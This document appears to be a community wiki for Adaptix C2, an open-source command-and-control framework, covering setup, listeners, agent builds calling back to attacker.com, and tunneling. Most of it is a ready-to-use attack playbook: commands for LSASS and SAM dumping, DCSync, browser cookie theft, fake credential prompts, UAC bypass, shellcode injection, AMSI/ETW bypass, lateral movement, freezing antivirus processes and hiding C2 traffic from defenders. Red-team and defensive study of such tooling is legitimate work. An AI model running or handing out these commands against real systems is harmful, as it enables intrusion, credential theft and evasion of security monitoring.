Adaptix C2 Wiki

Project: AdaptixC2 Author: Adaptix Framework Team (@hacker_ralf) GitHub: https://github.com/Adaptix-Framework/AdaptixC2 Extension-Kit: https://github.com/Adaptix-Framework/Extension-Kit Description: Extensible post-exploitation and adversarial emulation framework written in Go (server) and C++ Qt (client) License: Open Source (check repo for details) Docs: https://adaptix-framework.gitbook.io/

📋 Wiki Status: Comprehensive reference built against official Adaptix GitBook documentation and community resources (redheadsec.tech, undercode testing, DeepWiki). Updated for Adaptix v0.7+ with AxScript engine support.

Overview

Adaptix C2 is a modern, modular, extensible command-and-control framework designed for red team operators and penetration testers. Unlike traditional monolithic C2s, Adaptix separates listeners and agents as plugin-based extenders, allowing custom implementations without core modifications.

Key capabilities:

• Server/Client Architecture — Golang server (UNIX-only) with cross-platform C++ Qt GUI client (Linux, Windows, macOS)
• Plugin-based Listeners & Agents — HTTP/HTTPS, DNS/DoH, SMB, TCP/mTLS out of box; extend with custom extenders
• Beacon Agent — C++ agent (inspired by Cobalt Strike's architecture), optimized for Windows/Linux with low-level API abuse
• Gopher Agent — Go-based agent for cross-platform coverage, lighter footprint, modern practices
• BOF & AxScript Support — Execute Beacon Object Files natively; automate tasks via AxScript scripting engine (v0.7+)
• Fully Encrypted Communications — TLS for all network transports; encrypted at rest for credentials/tasks/targets
• Multiplayer/Team Support — Server/client model allows multiple operators (profile-based authorization)
• SOCKS4/5 Proxy & Port Forwarding — Native pivoting via SOCKS and port forward tunnels
• Agent Linking & Relay Chains — Link agents via SMB/TCP to build multi-hop C2 networks, minimize egress
• Task & Job Storage — Persistent task queuing and job history with retry logic
• Credentials/Targets/Screenshots Managers — Built-in data collection and organization for OSINT and post-ex findings
• Health Checker & Agent Control — Monitor agent status, set KillDate/WorkingTime constraints

Adaptix shines in scenarios requiring flexible, maintainable C2 infrastructure — good for red teams that need custom protocol support or want to understand modular C2 design from an operator perspective.

Architecture

Adaptix follows a server-client-listener-agent layering:

┌──────────────────────────────────┐
│   Adaptix Qt Client (C++)        │
│  (Linux / Windows / macOS)       │
│  - GUI operator console          │
│  - Listener/Agent management     │
│  - Task scheduling & data view   │
└──────────────┬───────────────────┘
               │ HTTPS (TLS/mTLS)
               │ (profile-based auth)
               ▼
┌─────────────────────────────────────────────────────┐
│         Adaptix Server (Golang, UNIX-only)          │
│  - Listener plugins (HTTP/S, DNS/DoH, SMB, TCP)     │
│  - Agent plugin handlers (Beacon, Gopher)           │
│  - AxScript engine for automation                   │
│  - Task queue, job persistence, data storage        │
│  - Multi-operator coordination                      │
└────────────────────┬────────────────────────────────┘
      ┌─────────────┬─────────────┬──────────────────┐
      ▼             ▼             ▼                  ▼
┌──────────────┐ ┌──────────┐ ┌─────────┐ ┌──────────────┐
│ HTTP/HTTPS   │ │ DNS/DoH  │ │  SMB    │ │ TCP/mTLS     │
│ Beacon       │ │ Beacon   │ │ Beacon  │ │ Gopher       │
│ Gopher       │ │ Gopher   │ │ Gopher  │ │              │
│ Listeners    │ │          │ │ Relay   │ │              │
└──────────────┘ └──────────┘ └─────────┘ └──────────────┘
      │             │             │           │
      ▼             ▼             ▼           ▼
┌──────────────┐ ┌──────────┐ ┌─────────┐ ┌──────────────┐
│   Beacon     │ │  Beacon  │ │ Beacon  │ │   Gopher     │
│  Agent       │ │  Agent   │ │ Agent   │ │   Agent      │
│ (Windows/    │ │ (Linux)  │ │ (Relay) │ │ (Cross-plat) │
│  Linux/Mac)  │ │          │ │         │ │              │
└──────────────┘ └──────────┘ └─────────┘ └──────────────┘

Components:

• Adaptix Server — The backend, written in Go, runs only on Unix/Linux. Manages all listeners, agents, persistence (YAML profiles), and operator sessions. No web dashboard; all interaction is through the Qt client.
• Adaptix Client — The GUI, written in C++ with Qt6. Connects to the server over HTTPS (TLS) with profile-based authentication. Multi-user capable (each operator has a local project profile).
• Extenders (Listeners/Agents) — Plugin modules loaded at runtime. Listeners (HTTP, DNS, SMB, TCP) and agents (Beacon, Gopher) are extenders compiled separately and loaded by the server. Custom extenders can be built using the Extension-Kit.
• Beacon Agent — C++ agent with Cobalt-Strike-inspired architecture (Win32 API calls, IAT hiding, BOF execution via Boffer). Best for Windows; also Linux.
• Gopher Agent — Go-based agent, modern design, cross-platform (Windows/Linux/macOS). Lower footprint, easier to extend via AxScript.
• AxScript — Scripting engine (v0.7+) for automating tasks, loading BOF modules, and integrating custom operator workflows (replaces older JSON-based approaches).

Installation & Server Setup

System Requirements

• Server: UNIX-only (Linux, macOS). Tested on Ubuntu 24/25, Debian 11, Arch Linux. Not Windows.
• Client: Linux, Windows, macOS with Qt 6.8.0+
• Build tools: Go 1.25+, C/C++ compiler (gcc/g++), make, cmake, libssl-dev, Qt6 dev libraries

Automated Setup (Linux — Recommended)

For Ubuntu/Debian/Arch, use the provided setup script:

git clone https://github.com/Adaptix-Framework/AdaptixC2.git
cd AdaptixC2
chmod +x pre_install_linux_all.sh
sudo ./pre_install_linux_all.sh server

This installs:

• Go 1.25.4 to /usr/local/go
• MinGW-w64 (for cross-compiling Windows agents from Linux)
• gcc/g++, libssl-dev, build essentials
• Qt6 libraries (if building client)
• Go-win7 compatibility library (for legacy Windows support in Gopher)

Manual Server Build

git clone https://github.com/Adaptix-Framework/AdaptixC2.git
cd AdaptixC2

# Build server and extenders (listeners/agents)
make server       # Builds AdaptixServer binary to dist/
make extenders    # Compiles all listener & agent plugins to dist/

# Or build both at once
make server-ext

Output: dist/ directory with:

• AdaptixServer (server binary)
• Listener plugins: Beacon_HTTP_Listener, Beacon_DNS_Listener, Beacon_SMB_Listener, etc.
• Agent plugins: Beacon_Agent, Gopher_Agent, etc.
• profile.yaml (default config template)

SSL Certificate Generation

Adaptix requires TLS certificates. Generate a self-signed cert for the server:

cd dist/
openssl req -x509 -nodes -newkey rsa:2048 \
  -keyout server.rsa.key -out server.rsa.crt -days 3650 \
  -subj "/CN=adaptix.local"

Place server.rsa.crt and server.rsa.key in the dist/ directory or configure their paths in profile.yaml.

Client Installation & Configuration

Linux/macOS

Build from source:

cd AdaptixC2/AdaptixClient
chmod +x pre_install_linux_all.sh
sudo ./pre_install_linux_all.sh client   # Installs Qt6 dependencies

cmake -B build -DCMAKE_BUILD_TYPE=Release
cd build
make client-fast   # Multithreaded build

# Binary placed in dist/ directory
./dist/AdaptixClient

Or use the provided AppImage:

cd AdaptixC2/AdaptixClient
./build_appimage.sh   # Generates AppImage to client-dist/

Windows

Use Docker for cross-compilation (easier) or install Qt Creator + Qt6 SDK manually. Pre-built binaries are available on the GitHub releases page.

Client Configuration (First Run)

On first launch, you'll see an Authorization form:

1. Profile Data — Enter server host/port (e.g., 127.0.0.1:4321)
2. User Nickname — Any operator name (e.g., red-operator-01)
3. Project Name — Local project identifier (e.g., lab-engagement)
4. Sync Options — Select which data syncs from server (credentials, targets, screenshots, etc.)
5. Password — If the server requires auth (check profile.yaml)

Starting the Server & Client

Server Startup

cd dist/
./AdaptixServer -profile profile.yaml

Server Command-Line Flags:

Example with custom profile:

./AdaptixServer -profile /opt/adaptix/production.yaml -debug

Default profile.yaml

Generated by the build process. Key sections:

Teamserver:
  BindPort: 4321
  BindAddress: "127.0.0.1"
  Password: "merlin"  # Change this in production

HttpServer:
  TlsCert: "server.rsa.crt"
  TlsKey: "server.rsa.key"

Extenders:
  Listeners:
    - "Beacon_HTTP_Listener"
    - "Beacon_DNS_Listener"
    - "Beacon_SMB_Listener"
    - "Beacon_TCP_Listener"
  Agents:
    - "Beacon_Agent"
    - "Gopher_Agent"

Important: Change the password and use strong TLS certificates in production. For lab environments, defaults are fine.

Client Connection

./AdaptixClient

Fill in:

• Server: 127.0.0.1:4321 (or your server IP)
• Password: (matches -Password in server's profile.yaml)
• Nickname: Your operator name
• Project: Lab project name

Hit "Connect" — if successful, you'll see the main GUI.

User Interface Basics

The Adaptix client GUI has these main sections:

Top Menu Bar

• Main Menu — File, View, Tools, AxScript, Help
• AxScript — Load/manage scripts (BOF modules, automation workflows)
• Settings — Global preferences

Left Sidebar (Tabs)

1. Listeners — Create, configure, start/stop listeners
2. Agents — View active agents, interact with them
3. Tasks — View queued and completed tasks
4. Credentials — Harvested credentials database
5. Targets — Hosts/IPs you've found
6. Screenshots — Captured screenshots
7. Files — Files browser (upload/download)
8. Processes — Process enumeration/termination

Listeners Tab

Right-click on the table to:

• Create New Listener — Select protocol (HTTP/HTTPS, DNS/DoH, SMB, TCP), configure, start
• Configure — Edit running listener settings
• Start/Stop — Control listener state
• Delete — Remove listener

Agents Tab

Displays all connected agents. Right-click or double-click to:

• Interact — Open agent shell/command prompt
• Configure — View/edit agent settings (sleep time, jitter, etc.)
• Unlink/Kill — Terminate agent connection
• Link Agent — For relay chains (SMB/TCP)

Listeners

Listeners are protocol-specific extenders that bind to a network interface and port, accepting agent connections. Unlike Merlin or Sliver, each listener is a separate plugin.

HTTP/HTTPS Listener

The most common listener for Beacon agents.

Configuration Dialog Options:

Example Setup:

1. Open Listeners tab
2. Right-click → Create New Listener
3. Select Beacon_HTTP_Listener
4. Fill in fields: - Bind Port: 443 - Callback Host: attacker.com:443 (your C2 domain) - Callback URI: /updates - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
5. Click Start — listener binds and waits for agents

DNS/DoH Listener

DNS-over-HTTPS for DNS exfiltration and low-and-slow beaconing over DNS.

Configuration:

Usage Notes:

• Agents encode commands in DNS queries; responses encoded in DNS replies
• Slower but good for restricted networks
• Requires agent configuration to point to your DNS server
• Works from anywhere with DNS access

SMB Listener

Peer-to-peer listener for agent-to-agent relay via named pipes.

Configuration:

Usage: Used for linking Beacon agents across hops (SMB relay chains). See Agent Linking section.

TCP/mTLS Listener

Direct TCP with mutual TLS for Gopher agents.

Configuration:

Agents

Adaptix ships with two agent implementations: Beacon (C++, Cobalt-Strike-like) and Gopher (Go, modern). You don't "generate" agents from the GUI like Sliver; instead, you build them from source with configurable parameters, then generate instances via the listener's agent generator.

Beacon Agent

Language: C++
Targets: Windows (primary), Linux, macOS
Architecture: Inspired by Cobalt Strike; uses Win32 APIs, IAT hiding, API hashing
Advantages:

• Low-level Windows APIs → stealthy, EDR-evasive
• BOF execution (Beacon Object Files) for inline commands
• Familiar for Cobalt Strike users
• Small binary footprint

Disadvantages:

• Not designed for AV/EDR evasion by default (can be customized)
• Requires more manual hardening

Capabilities (Out of Box):

• Command execution (shell, powershell, cmd)
• File upload/download
• Process injection and execution
• Memory-resident execution
• Environment enumeration
• Lateral movement primitives
• BOF execution via AxScript

Gopher Agent

Language: Go
Targets: Windows, Linux, macOS
Architecture: Modern Go design; msgpack serialization, async job queue
Advantages:

• Cross-platform native binary
• Lightweight, no dependencies
• Can easily add evasion techniques (obfuscation, AMSI bypass, etc.)
• Suitable for all three major OS targets

Disadvantages:

• Smaller default command set vs. Beacon
• Requires more custom extension for advanced functions

Capabilities (Out of Box):

• Command execution
• File ops
• Process enumeration/termination
• Network utilities
• Agent linking (SOCKS relay)

Agent Generation & Configuration

Build-Time Agent Customization:

Unlike Sliver/Cobalt Strike's one-click "generate," Adaptix agents are compiled once with hardcoded C2 settings. To generate multiple agents for different scenarios, you edit profile.yaml or use command-line overrides:

# Build Beacon agent for Windows, pointing to attacker.com:443
make beacon-agent GOOS=windows GOARCH=amd64 \
  C2_URL=https://attacker.com:443 \
  C2_URI=/updates \
  C2_USER_AGENT="Mozilla/5.0..."

# Build Gopher for Linux
make gopher-agent GOOS=linux GOARCH=amd64 \
  C2_URL=https://attacker.com:443

Agent Instance Generation (from GUI):

Once a listener is running, generate agent instances:

1. Listeners tab → Right-click listener → Generate Agent
2. Select agent type (Beacon, Gopher)
3. Configure: - Output format (EXE, DLL, shellcode, etc. — if available) - Sleep interval (default: 3s) - Jitter (randomize sleep) - User-Agent (if overriding listener default)
4. Download binary

Environment Variables (Agent Configuration):

Agents read env vars at runtime to override defaults:

• ADAPTIX_SLEEP — Beacon sleep interval (ms)
• ADAPTIX_JITTER — Jitter percentage (0-100)
• ADAPTIX_PROXY — SOCKS proxy URL (for Gopher)

Agent Management & Interaction

Agent Listing

Agents tab shows:

• Agent ID — Unique identifier
• User — User running agent (NT AUTHORITY\SYSTEM, etc.)
• Hostname — Computer name
• IP — Last known IP
• OS — Operating system
• Last Seen — Timestamp of last check-in
• Status — Active, Idle, Dead

Interact with Agent

Double-click or right-click → Interact → Opens agent shell:

[Agent ID: abc123]
user: NT AUTHORITY\SYSTEM
hostname: WORKSTATION-01
ip: 192.168.1.50

>

Agent Shell Commands

Generic Commands (all agents):

Windows-Specific (Beacon/Gopher on Windows):

shell whoami
shell ipconfig /all
shell net user
shell net localgroup administrators
shell tasklist /v
shell wmic os get name,version,buildnumber
shell query user
shell netsh advfirewall show allprofiles

Linux-Specific (Gopher/Beacon on Linux):

shell id
shell uname -a
shell cat /etc/passwd
shell ps aux
shell ip addr show

Beacon Object Files (BOFs)

BOFs are position-independent C code executed inline by the agent (no fork/exec). Load and run via AxScript:

Example: Load BOFs from Extension-Kit

1. AxScript menu → Script Manager
2. Load new → Select extension-kit.axs (from Extension-Kit repo)
3. Navigate Main Menu → AxScript → Available modules listed
4. Double-click module or type run <module> <args>

Common BOF Modules (from Extension-Kit):

• Situational Awareness: enum_local_procs, enum_modules, enum_services
• Credential Harvesting: lsass_dump, sam_dump, vss_copy
• Privilege Escalation: bypass_uac, token_impersonation
• Lateral Movement: psexec, wmi_exec, dcom_exec

Example BOF Execution:

> run enum_local_procs
[*] Running BOF: enum_local_procs
[+] PID 1234: svchost.exe (NT AUTHORITY\SYSTEM)
[+] PID 5678: explorer.exe (USER\admin)
...

> run lsass_dump -o /tmp/lsass.dmp
[*] Dumping lsass to /tmp/lsass.dmp
[+] Dump successful (8.5 MB)

Data Management

Credentials Manager

Purpose: Centralized storage for harvested credentials (username/password/hash/token).

Access: Credentials tab

Adding Credentials Manually:

1. Right-click in credentials table → Add New
2. Fill: Username, Password/Hash, Domain, Type (password/hash/token), Source (where harvested)
3. Save

Auto-Population: BOF modules (e.g., lsass_dump) automatically add entries.

Exporting:

• Select credentials → Right-click → Export (CSV/JSON)
• Use for password spraying, lateral movement, or reporting

Targets Manager

Purpose: Track discovered hosts, services, and network topology.

Access: Targets tab

Add Target:

1. Right-click → Add Target
2. Enter: Hostname/IP, OS, Services (port/service pairs), Notes
3. Save

Linking Targets: Mark compromised targets, group by subnet, track lateral movement paths.

Screenshots Manager

Access: Screenshots tab

Storage: Screenshots taken via agent screenshot command stored with timestamp, agent ID, and file.

Export: Right-click → Save As to export PNG/JPG.

File Browser

Access: Files tab

View: Files uploaded/downloaded via agents, organized by agent ID.

BOF & Extensions (AxScript)

AxScript Engine (v0.7+)

What it is: Adaptix's scripting language for automating operator workflows, defining BOF-backed commands, and integrating custom tasks. Each extension is an .axs file that starts with a global metadata variable, then registers commands that call BOF binaries or built-in agent functions. The scripting engine replaced the older JSON-based extension approach in v0.7.

Access: AxScript menu → Script Manager

How BOFs Work in Adaptix

BOFs (Beacon Object Files) are position-independent C programs compiled as COFF .o files. They execute inside the agent process — no child process created, no disk write beyond argument passing. Key constraints:

• Single-threaded: BOFs block the agent's task queue while running. Long-running BOFs will freeze the agent.
• Crashing kills access: If a BOF crashes it takes the agent down. Write (or vet) BOFs carefully.
• Per-agent execution: Each agent type (Beacon, Gopher) has its own bof command to execute .o files.

# Execute a raw BOF file directly (without extension-kit)
# Beacon agent
bof /path/to/mybof.x64.o [packed-args]

# Via AxScript command (after loading extension-kit.axs)
<command> [args]

Building & Loading Extension-Kit

# Install build deps (Ubuntu/Kali)
apt install g++-mingw-w64-x86-64-posix gcc-mingw-w64-x86-64-posix mingw-w64-tools

# Clone and build all BOF modules
git clone https://github.com/Adaptix-Framework/Extension-Kit.git
cd Extension-Kit
make         # compiles all categories to their respective _bin/ directories
# Or use Docker:
make docker-build

In the Adaptix client:

1. AxScript menu → Script Manager
2. Right-click → Load new → select extension-kit.axs
3. All commands from all sub-modules are now available to agents

Note: Extensions are per-operator, not server-global. Each operator must load the .axs file themselves.

Writing Custom AxScript Modules

// extension.axs — minimal BOF extension template
var metadata = {
    "name": "MyExtension",
    "description": "Custom BOF extension",
    "version": "1.0.0"
};

// Register a new command that runs a BOF
ax.register_command("mybof", {
    "description": "My custom BOF",
    "args": [
        {"name": "pid", "type": "int", "required": true}
    ],
    "run": function(agent, args) {
        var packed = ax.bof_pack("i", args.pid);
        ax.run_bof(agent, "./mybof.x64.o", "go", packed);
    }
});

Argument type codes for bof_pack: i=int32, s=string, z=zero-terminated string, b=binary blob, S=short int, Z=wide string.

(Full AxScript syntax: https://adaptix-framework.gitbook.io/adaptix-framework/development/axscript)

Extension-Kit — Complete BOF Reference

The official Extension-Kit (github.com/Adaptix-Framework/Extension-Kit) ships 9 BOF categories loaded together via a single extension-kit.axs. Categories below list every command with syntax and description.

Extension-Kit directory structure:
├── AD-BOF/            Active Directory attacks
├── Creds-BOF/         Credential harvesting
├── Elevation-BOF/     Privilege escalation
├── Execution-BOF/     Inline code execution
├── Injection-BOF/     Process injection
├── LateralMovement-BOF/  Lateral movement
├── Postex-BOF/        Post-exploitation utilities
├── Process-BOF/       Process management & awareness
├── SAL-BOF/           Situational awareness (local)
├── SAR-BOF/           Situational awareness (remote)
└── extension-kit.axs  Master loader

SAL-BOF — Situational Awareness Local

Provides local host reconnaissance entirely in-process. No cmd.exe or PowerShell spawned. Sourced from TrustedSec's CS-Situational-Awareness-BOF and Outflank C2-Tool-Collection.

# Host recon sequence
whoami
ipconfig
arp
routeprint
env
listdns
privcheck tokenpriv
privcheck unquotedsvc
privcheck vulndrivers

SAR-BOF — Situational Awareness Remote

Remote reconnaissance BOFs. Sources: TaskHound, Quser-BOF, NBTscan-BOF.

# NBTscan a subnet
nbtscan 192.168.1.0/24 -v

# Port scan a range
smartscan 192.168.1.1-192.168.1.20 -p standart
smartscan 192.168.1.50 -p 22,80,443,445,3389

# Collect scheduled task creds from a DC
taskhound DC01.corp.local -save C:\Temp\tasks -grab-blobs

# Who's logged in remotely
quser 192.168.1.10

AD-BOF — Active Directory Tools

The largest Extension-Kit category. Covers LDAP/ADWS enumeration, Kerberos attacks, ADCS abuse, DCSync, SQL Server attacks, and relay reconnaissance. All execute in-process without spawning LDAP client binaries.

LDAP / ADWS Search

# Find all users with SPN set (kerberoasting targets)
ldapsearch "(&(objectClass=user)(servicePrincipalName=*))" samAccountName,servicePrincipalName

# All disabled accounts
ldapsearch "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))" samAccountName

# All DCs
get-computers "(userAccountControl:1.2.840.113556.1.4.803:=8192)"

Kerberos — kerbeus Suite

A C-language Rubeus equivalent running entirely as a BOF. Supports AS-REP roasting, Kerberoasting, ticket dumping, PTT, S4U delegation, and more. No .NET CLR needed.

# AS-REP roast all vulnerable users
kerbeus asreproast /format:hashcat

# Kerberoast in hashcat format
kerbeus kerberoast /format:hashcat

# Dump all tickets (like Mimikatz sekurlsa::tickets)
kerbeus dump

# Pass-the-ticket
kerbeus ptt /ticket:<base64-kirbi>

# S4U delegation abuse
kerbeus s4u /user:svc_account /rc4:NTLMHASH /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local

ADCS — Certificate Attacks (certi suite)

BOF implementation of ADCS attack tooling. Supports ESC enumeration, certificate requests, shadow credentials, and PKINIT-based hash extraction (UnPAC-the-hash).

# Find all vulnerable templates
certi find /vulnerable

# ESC1 — request cert as Administrator
certi request /ca:CORP-CA /template:VulnTemplate /altname:Administrator

# Shadow credentials on machine account (full auto)
certi shadow auto /target:WS01$

# Get NTLM hash from certificate (no password needed)
certi unpac /pfx:<base64-pfx>

DCSync & LDAP Manipulation

# DCSync for a specific user
dcsync /user:krbtgt /domain:corp.local

# DCSync all (dump everything)
dcsync /user:* /domain:corp.local

# BadSuccessor takeover
badtakeover /target:admin-dMSA /domain:corp.local

SQL Server Exploitation (sql suite)

BOF-based MS SQL Server attack toolkit modeled after SQLRecon. No sqlcmd.exe spawned.

# Discover MSSQL instances on the network
sql enum

# Enable xp_cmdshell and run whoami
sql exec /host:sql01.corp.local /command:"whoami"

# Enumerate linked servers
sql links /host:sql01.corp.local

# Execute via linked server chain
sql links-exec /host:sql01.corp.local /link:linked-sql /command:"whoami"

Relay Reconnaissance (relayinformer, webdav)

# Pre-relay check — is SMB signing enabled on target?
relayinformer 192.168.1.10

# Check entire list of hosts
relayinformer 192.168.1.10,192.168.1.20,192.168.1.30

# Enable WebClient for coercion
webdav enable

# Check if WebClient is running on a remote host
webdav check 192.168.1.50

Creds-BOF — Credential Harvesting

All tools dump credentials in-process and auto-add results to the Adaptix Credentials tab.

# Fake credential prompt
askcreds -p "Windows Security" -n "Your session has expired. Please re-enter your credentials."

# Check autologon
autologon

# Steal browser cookies/passwords
cookie-monster

# SAM hashes
hashdump

# LSA secrets (service passwords, DPAPI keys)
lsadump_secrets

# Cached domain hashes
lsadump_cache

# LSASS dump — fileless via SecLogon
nanodump --method 1

# LSASS dump — write to disk
nanodump --write C:\Windows\Temp\dump.dmp

# Copy locked NTDS.dit
underlaycopy C:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit

# Internal Monologue — NetNTLM without traffic
get-netntlm

Elevation-BOF — Privilege Escalation

# Elevate to SYSTEM (also appears in right-click menu)
getsystem token

# UAC bypass → run agent as high-integrity SYSTEM
uacbypass sspi C:\Temp\agent.exe

# Registry-based UAC bypass
uacbypass registryshellcmd C:\Temp\agent.exe

# Potato attacks (SeImpersonate → SYSTEM)
potato-dcom --token
potato-print --run C:\Temp\agent.exe

Injection-BOF — Process Injection

All inject BOFs surface under the Inject context menu in the Adaptix Process Browser. Select a process → right-click → Inject → choose technique.

# Section mapping injection (stealthy, no VirtualAllocEx)
inject-sec 1234 ./shellcode.bin

# CFG hijack (no new thread — triggers on next COM call)
inject-cfg 1234 ./shellcode.bin

# Pool Party variant 2 (TP_WORK work item insertion)
inject-poolparty 2 1234 ./shellcode.bin

# WOW64 to x64 injection
inject-32to64 1234 ./shellcode.bin

Execution-BOF — Inline Code Execution

# In-process .NET assembly execution (no fork-and-run)
execute-assembly /path/to/Rubeus.exe "kerberoast /format:hashcat /nowrap"
execute-assembly /path/to/SharpHound.exe "-c All --zipfilename bh.zip"
execute-assembly /path/to/Seatbelt.exe "-group=all"

# Run native PE without spawning console
noconsolation /path/to/mimikatz.exe "sekurlsa::logonpasswords exit"
noconsolation /path/to/netstat.exe "-ano"

Note on execute-assembly: Defaults: AMSI bypass ON, ETW bypass ON, ETW revert ON. Edit Execution-BOF/execute-assembly/inlineExecute-Assembly.c and recompile to change. A crashed assembly takes the agent with it — test BOFs in a safe environment first.

LateralMovement-BOF — Lateral Movement

# PsExec lateral movement
jump psexec DC01.corp.local /tmp/agent.exe

# SCShell fileless lateral movement (reconfigure defragsvc temporarily)
invoke scshell 192.168.1.10 defragsvc "cmd.exe /c powershell -enc <base64>"

# WinRM execution
invoke winrm DC01.corp.local "whoami /all" -t 5000

# Runas with explicit creds
runas-user Administrator P@ssword corp.local "C:\Temp\agent.exe" -o

# Steal token from a privileged process (right-click in Process Browser)
token steal 1234

# Make token from creds (right-click in Agents table)
token make Administrator P@ssword corp.local 9

Process-BOF — Process Management

# Find what has AMSI loaded (pre-bypass targeting)
findobj module amsi.dll

# Find who has an open LSASS handle
findobj prochandle lsass.exe

# Show network-connected processes
process conn

# Freeze an AV process (don't kill it — freeze is quieter)
procfreeze freeze 1234

# Unfreeze (do this before cleanup)
procfreeze unfreeze

Postex-BOF — Post-Exploitation Utilities

# Screenshot current desktop
screenshot_bof

# Screenshot a specific window (by PID)
screenshot_bof /pid:1234

# Add firewall rule allowing C2 port outbound
firewallrule add "WindowsUpdate" out tcp 443 /group:Microsoft

# Search for password files recursively
sauroneye C:\Users pass* -ocs

# Search contents of Office files for "password"
sauroneye C:\ password -co -oc

# Find KeePass databases
sauroneye C:\ *.kdbx

# Search recently created files (after 2024-01-01)
sauroneye C:\Users config -d 2024-01-01

BOF Quick-Reference Summary

# Situational Awareness (local)
whoami                          ipconfig          arp
routeprint                      listdns           env
uptime                          useridletime      dir <path>
cacls <path>                    nslookup <domain>
privcheck tokenpriv             privcheck unquotedsvc
privcheck alwayselevated        privcheck vulndrivers

# Situational Awareness (remote)
nbtscan 192.168.1.0/24 -v
smartscan 192.168.1.0/24 -p standart
quser 192.168.1.10
taskhound DC01 -save C:\Temp\tasks -grab-blobs

# AD Enumeration
ldapsearch "(objectClass=user)" samAccountName
get-users
get-computers
adwssearch "(objectClass=group)" name
relayinformer 192.168.1.10
webdav check 192.168.1.10

# Kerberos
kerbeus asreproast /format:hashcat
kerbeus kerberoast /format:hashcat
kerbeus dump
kerbeus ptt /ticket:<b64>
kerbeus tgtdeleg

# ADCS
certi find /vulnerable
certi request /ca:CA /template:VulnTemplate /altname:Administrator
certi shadow auto /target:WS01$
certi unpac /pfx:<b64>

# DCSync & Account Takeover
dcsync /user:krbtgt /domain:corp.local
badtakeover /target:admin-dMSA

# SQL Server
sql enum
sql exec /host:sql01 /command:"whoami"
sql links /host:sql01
sql agent-jobs /host:sql01 /command:"whoami"

# Credentials
hashdump
lsadump_secrets
lsadump_cache
nanodump --method 1
askcreds -p "Windows Security"
cookie-monster
credman
get-netntlm
underlaycopy C:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit

# Privilege Escalation
getsystem token
uacbypass sspi C:\Temp\agent.exe
uacbypass registryshellcmd C:\Temp\agent.exe
potato-dcom --token
potato-print --run C:\Temp\agent.exe

# Process Injection
inject-sec <pid> shellcode.bin
inject-cfg <pid> shellcode.bin
inject-poolparty 2 <pid> shellcode.bin

# Execution
execute-assembly /path/Rubeus.exe "kerberoast /format:hashcat"
noconsolation /path/mimikatz.exe "sekurlsa::logonpasswords exit"

# Lateral Movement
jump psexec DC01 /tmp/agent.exe
invoke scshell 192.168.1.10 defragsvc "cmd /c whoami"
invoke winrm DC01 "whoami /all"
token steal <pid>
token make Administrator P@ssword corp.local 9

# Process Management
findobj module amsi.dll
findobj prochandle lsass.exe
process conn
procfreeze freeze <pid>

# Post-Exploitation
screenshot_bof
sauroneye C:\Users pass* -ocs
firewallrule add "Update" out tcp 443 /group:Microsoft

Tunneling & Forwarding

SOCKS Proxy

Purpose: Route traffic from your attack machine through a compromised agent (lateral movement, internal reconnaissance).

Setup:

1. Agent interactive shell:

```

socks start 9050 [+] SOCKS listener started on 127.0.0.1:9050 ```

2. On your attack box, configure proxychains:

bash echo "socks5 127.0.0.1 9050" >> /etc/proxychains4.conf

3. Route tools through proxy:

bash proxychains nmap -sT -Pn 192.168.1.0/24 proxychains impacket-secretsdump 'DOMAIN/user:pass@192.168.1.10' proxychains rdesktop 192.168.1.5

Gopher Agent SOCKS (Built-in):

Gopher agents support SOCKS4/5 natively via environment variable:

export ADAPTIX_PROXY=socks5://127.0.0.1:9050
./gopher_agent

Port Forwarding

Local Port Forward (pull traffic from internal network to your box):

# From agent shell
> forward local <local_port> <internal_host:port>
[+] Local forward 127.0.0.1:9999 → 192.168.1.20:3389

Then: rdesktop 127.0.0.1:9999

Reverse Port Forward (expose internal service externally):

> forward reverse <external_port> <internal_host:port>
[+] Reverse forward 0.0.0.0:8888 → 192.168.1.20:80

Agent Linking

Purpose: Chain agents together to build multi-hop networks, reduce egress traffic.

Types of Links:

• SMB Link — via SMB named pipes (Windows)
• TCP Link — raw TCP sockets

Setup (Windows → Windows SMB Relay):

1. Agent A (internal): Start SMB listener on a named pipe

```

listen smb \Device\NamedPipe\adaptix [+] SMB listener started ```

2. Agent B (parent/relay): Link to Agent A

```

link smb \Device\NamedPipe\adaptix [+] Linked to Agent A ```

3. Result: Agent A can now receive tasks via Agent B without direct outbound connection

Viewing Link Network:

Agents tab → View agent graph showing parent-child relay chains.

Agent Linking & Relay Network

Adaptix excels at building multi-hop relay chains without requiring each agent to reach out to the C2 server.

Relay Architecture

┌────────────────┐
│  C2 Server     │
│ (Adaptix)      │
└────────┬───────┘
         │ HTTPS
         ▼
┌────────────────────────┐
│ Agent A (Perimeter)    │
│ HTTP/HTTPS Beacon      │
│ Has direct egress      │
└────────┬───────────────┘
         │ SMB/TCP (internal)
         ▼
┌────────────────────────┐
│ Agent B (Internal)     │
│ SMB Relay Beacon       │
│ No egress, reaches A   │
└────────┬───────────────┘
         │ SMB/TCP
         ▼
┌────────────────────────┐
│ Agent C (DMZ)          │
│ TCP Relay Gopher       │
│ Linked through B       │
└────────────────────────┘

Linking Agents (GUI)

1. Compromise Agent A (perimeter) directly to C2
2. Compromise Agent B (internal), configure for SMB relay
3. Agents tab → Agent B → Right-click → Link Agent - Select SMB or TCP - Enter Target Hostname (Agent A) - Enter Pipe/Socket details
4. Click Link — Agent B now routes through Agent A

Agent Graph Visualization

Agents tab shows a network graph (if enabled in View settings):

• Nodes = agents
• Edges = relay links
• Color coding: green (active), yellow (idle), red (dead)

OPSEC Considerations

Beacon Interval & Jitter

Problem: Fixed, exact check-in intervals are a network IOC.

Solution:

> sleep 10000      # 10 seconds
> jitter 25        # ±25% randomization (7.5s–12.5s)

Best Practice: Use high jitter (20–50%) and random sleep intervals.

User-Agent Spoofing

Problem: Default User-Agent detected by signature/heuristics.

Solution: Configure listener with realistic User-Agent:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...

Callback Host/Domain

Best Practice: Use legitimate-looking domain or IP. Avoid:

• Direct IP in initial callback
• Obvious C2 patterns (e.g., c2.malware.com)
• Known malicious domains

Suggestion: Use domain fronting or legit-looking domain registered for the engagement.

TLS Certificate Pinning

Problem: Self-signed certs trigger EDR/network inspection.

Solution: Use a CA-signed certificate for production:

# Obtain via Let's Encrypt or your organization's CA
./AdaptixServer -profile prod.yaml
